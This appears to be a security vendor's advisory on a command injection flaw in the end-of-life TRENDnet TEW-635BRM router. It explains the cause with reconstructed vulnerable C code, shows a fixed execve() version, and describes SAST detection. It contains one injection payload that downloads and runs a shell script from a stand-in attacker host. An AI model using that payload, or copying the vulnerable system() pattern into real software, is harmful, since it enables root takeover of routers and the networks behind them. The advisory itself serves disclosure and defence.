Skip to main content

Free 30-min security demo  — We'll scan your real code and show live findings, no commitment Book Now

Offensive360
ZeroDays CVE-2026-15481
High CVE-2026-15481 CVSS 8.8 TRENDnet TEW-635BRM C

IPoA Command Injection in TRENDnet TEW-635BRM

CVE-2026-15481 is a critical command injection flaw in TRENDnet TEW-635BRM firmware allowing unauthenticated RCE via the ipoa_ipaddr argument.

Offensive360 Research Team
Affects: <= 1.00.03
Source Code

Overview

CVE-2026-15481 is a command injection vulnerability present in all known firmware versions of the TRENDnet TEW-635BRM ADSL2+ modem/router, up to and including version 1.00.03. The flaw resides in the ipoa_test function within /sbin/rc, the primary runtime configuration binary responsible for managing WAN connection profiles on the device. When a user (or attacker) configures an IPoA (IP over ATM) WAN connection, the ipoa_ipaddr argument is passed directly into a shell command without sanitization, enabling arbitrary OS-level command execution on the underlying embedded Linux environment.

The vulnerability was publicly disclosed by security researchers and documented with a working proof-of-concept exploit. Because the TEW-635BRM reached end-of-life in 2011, TRENDnet has officially confirmed it will not issue a patch, instead recommending that users decommission and replace affected devices. The vendor cannot confirm the vulnerability’s existence, but given the public PoC and the device’s age, the risk to any still-deployed unit must be treated as fully realized rather than theoretical.

While the product’s EOL status might suggest limited exposure, IoT devices are notoriously long-lived in practice. TEW-635BRM units remain in use in small businesses, home offices, and ISP-managed deployments in regions where ADSL infrastructure is still dominant. A remotely exploitable, high-severity command injection against a network edge device represents a serious risk regardless of its official support status.

Technical Analysis

The vulnerable code path exists inside the ipoa_test function in /sbin/rc. This function is responsible for testing IPoA WAN connectivity during device setup. When invoked — either through the device’s web management interface or via direct CGI interaction — it constructs a shell command string by directly interpolating the user-supplied ipoa_ipaddr parameter. Because the firmware’s web server passes CGI parameters to back-end binaries with minimal processing, the input reaches the vulnerable function largely intact.

A representative reconstruction of the vulnerable logic, based on typical embedded firmware patterns consistent with the disclosed PoC, looks like this:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Vulnerable function in /sbin/rc
void ipoa_test(const char *ipoa_ipaddr) {
    char cmd[256];

    // VULNERABLE: ipoa_ipaddr is interpolated directly into a shell command
    // without any validation, sanitization, or escaping.
    snprintf(cmd, sizeof(cmd), "ping -c 3 %s > /tmp/ipoa_result", ipoa_ipaddr);

    // system() invokes /bin/sh -c with the attacker-controlled string
    system(cmd);
}

// Typical CGI dispatch — attacker controls "ipoa_ipaddr" via HTTP POST
int main(int argc, char *argv[]) {
    char *ipaddr = getenv("ipoa_ipaddr"); // or parsed from POST body
    if (ipaddr) {
        ipoa_test(ipaddr);
    }
    return 0;
}

The root cause is a textbook instance of CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The snprintf call safely handles buffer length, but that protection is entirely orthogonal to the injection risk. The problem is that shell metacharacters — such as ;, |, `, $(), &&, and || — are never stripped or escaped before the string is handed to system(). A crafted value for ipoa_ipaddr such as:

127.0.0.1; wget http://attacker.example/shell.sh -O /tmp/s && sh /tmp/s

would cause the shell to execute the ping command, then immediately fetch and execute an attacker-controlled script. Because /sbin/rc typically runs as root on these devices — as is standard in single-user embedded Linux environments — there is no privilege boundary to cross. The injected command inherits full root privileges immediately.

The attack surface is accessible remotely because the IPoA setup form is reachable through the device’s HTTP management interface. Depending on the specific deployment, this interface may be bound to the LAN-side interface only, but in many configurations (or when WAN-side management is enabled), it is reachable from the internet, making this a genuine unauthenticated remote code execution scenario.

Impact

An attacker who successfully exploits CVE-2026-15481 achieves unauthenticated, root-level remote code execution on the affected router. The practical consequences include:

  • Full device compromise: The attacker can modify firmware, install persistent backdoors, or enroll the device into a botnet (a common fate for vulnerable IoT routers, consistent with Mirai-class campaigns).
  • Network traffic interception: With root access, DNS responses can be poisoned, routing tables manipulated, and traffic silently proxied through attacker-controlled infrastructure — exposing all LAN-side clients regardless of their own security posture.
  • Lateral movement: The router sits at the network boundary. An attacker with shell access can probe and attack internal LAN hosts that are otherwise unreachable from the internet.
  • Credential harvesting: PPPoE, PPTP, and IPoA credentials stored in NVRAM or configuration files are fully readable.

The CVSS 8.8 score reflects a network-adjacent or network-accessible attack vector (AV:N), no required privileges (PR:N), no user interaction (UI:N), and complete compromise of confidentiality, integrity, and availability (C:H/I:H/A:H). The only factor tempering a perfect 10.0 is the scope remaining within the affected component rather than cascading into a hypervisor or adjacent security domain.

How to Fix It

Because TRENDnet has confirmed this device will not receive a patch, the authoritative remediation is device replacement. No software mitigation exists for an EOL embedded device where the vendor has ceased all firmware development. Organizations still running TEW-635BRM units should:

  1. Replace the device immediately with a supported model that receives active security updates.
  2. Disable remote management on the WAN interface for any router, as an interim measure on any network-edge device pending replacement.
  3. Segment the management interface behind a dedicated management VLAN inaccessible from untrusted networks.

For developers building or auditing similar embedded systems, the correct fix pattern is straightforward. Never pass user-controlled input to system(), popen(), or execve() with shell interpretation. Where a command must be constructed from user input, use execve() directly with an argument array, bypassing the shell entirely:

#include <unistd.h>
#include <string.h>
#include <stdio.h>

// FIXED: Use execve() with explicit argument array — no shell interpolation
void ipoa_test_safe(const char *ipoa_ipaddr) {
    // Validate input: only allow dotted-decimal IPv4
    // A simple allowlist regex or character whitelist prevents injection
    for (const char *p = ipoa_ipaddr; *p; p++) {
        if (!(*p >= '0' && *p <= '9') && *p != '.') {
            fprintf(stderr, "Invalid IP address\n");
            return;
        }
    }

    // Pass arguments as an array — the shell is never invoked
    char *const args[] = {
        "ping", "-c", "3", (char *)ipoa_ipaddr, NULL
    };
    execve("/bin/ping", args, NULL);
    // execve replaces the process; no return on success
}

Additionally, for any embedded Linux project still using system() in CGI handlers, a systematic audit of every call site where external input reaches string-formatted shell commands is essential.

Our Take

Command injection via system() with unsanitized user input is one of the oldest vulnerability classes in existence, yet it persists because embedded firmware development has historically operated outside the security practices that mainstream software development has adopted. Developers working under severe resource constraints on proprietary toolchains — with no formal code review, no SAST pipeline, and no threat model — repeatedly reach for system() because it is simple and familiar. The result is a generation of network-edge devices with critical, unpatched RCE vulnerabilities that will outlast their official support windows by a decade or more.

For enterprises, CVE-2026-15481 is a reminder that EOL hardware in production is not a theoretical risk category — it is an active attack surface. IoT asset inventory and a formal EOL replacement policy are not optional hygiene; they are foundational security controls. Any device that cannot receive security updates should be treated as permanently compromised and segregated accordingly.

Detection with SAST

Static analysis tools can reliably detect CWE-78 patterns of this type. Offensive360’s SAST engine flags this vulnerability class by tracking taint flow from external input sources — CGI environment variables, getenv(), fgets() over stdin, HTTP POST parsers — through string construction functions (snprintf, sprintf, strcat, strcpy) to dangerous sink functions: system(), popen(), execl(), execv(), and execlp() when called with a single shell-interpreted string.

The specific rule category in our engine is OS Command Injection (CWE-78), with taint propagation across function boundaries enabled so that cases where the input is passed through a helper function (as in ipoa_test) are not missed. We also flag the use of system() itself as a high-risk sink that warrants manual review even without a confirmed taint path, since dynamic string construction for shell commands is inherently fragile. In embedded C codebases, our scanner specifically targets system() calls where format strings contain %s placeholders, as this pattern is the dominant form of this vulnerability class in IoT firmware.

References

#command-injection #iot #embedded-linux #wan-configuration

Detect this vulnerability class in your codebase

Offensive360 SAST scans your source code for CVE-2026-15481-class vulnerabilities and thousands of other patterns — across 60+ languages.